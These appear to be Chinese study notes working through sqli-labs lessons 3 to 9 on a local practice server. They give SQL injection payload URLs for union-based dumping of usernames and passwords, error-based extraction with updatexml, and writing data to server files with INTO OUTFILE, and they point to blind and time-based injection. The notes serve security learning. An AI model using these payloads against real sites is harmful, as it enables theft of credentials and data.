less3:
id存储格式为id=('1'),所以测试的时候http://localhost/sqll/sqli-labs-master/Less-3/?id=3’)%23才对
less4:
id存储格式为id=("1")http://localhost/sqll/sqli-labs-master/Less-4/?id=1%22)%23
介绍group_concat用法
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
爆出第四关所有用户名和密码:
CONhttp://localhost/sqll/sqli-labs-master/Less-4/?id=3") union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a
less5==基于错误的注入
Count() //计算总数
Concat() //连接字符串
Floor() //向下取整数
Rand() //产生0~1的随机数
rand(0) //序列是011011
首先可以看出这是单引号型,然后不同的是只能根据报错信息来判断
看到数据库长度:localhost/sqll/sqli-labs-master/Less-5/?id=1' and length(database())>=8%23 //为8
and left(database(),2)=’se’--+ //猜
updatexml函数:https://blog.csdn.net/vspiders/article/details/77430024
爆出数据库名:localhost/sqll/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) %23
爆出表名:localhost/sqll/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
注意中间select group_concat的使用
less6
同less5,不过这里是双引号型
导出文件注入
less7
通过id=1&&id=1'&&id=1"的不同可以确定id存储格式为id=(('1'))
http://localhost/sqll/sqli-labs-master/Less-7/?id=1'))--+
注入信息到服务器文件:
http://localhost/sqll/sqli-labs-master/Less-7/?id=-1')) union select 1,2,3 into outfile "D:\\1234\\1.txt"--+
ps:路径问题:mysql中my.ini中必须要指定secure_file_priv路径,如果没有自己写一个路径
ps2:1.txt不存在于该目录下
然后就可以爆数据库-》爆数据表-》爆用户名和密码
http://localhost/sqll/sqli-labs-master/Less-7/?id=-1')) union select database(),2,select * from security.users into outfile "D:\\1234\\1.txt"--+
===爆密码和用户
http://localhost/sqll/sqli-labs-master/Less-7/?id=-1')) union select database(),GROUP_CONCAT(username),GROUP_CONCAT(password) from security.users into outfile "D:\\1234\\1.txt"--+
less8
盲注:猜数据---https://www.jianshu.com/p/5989d0dfa227--写python脚本
时间注入也可采用不过速度会慢一些
less9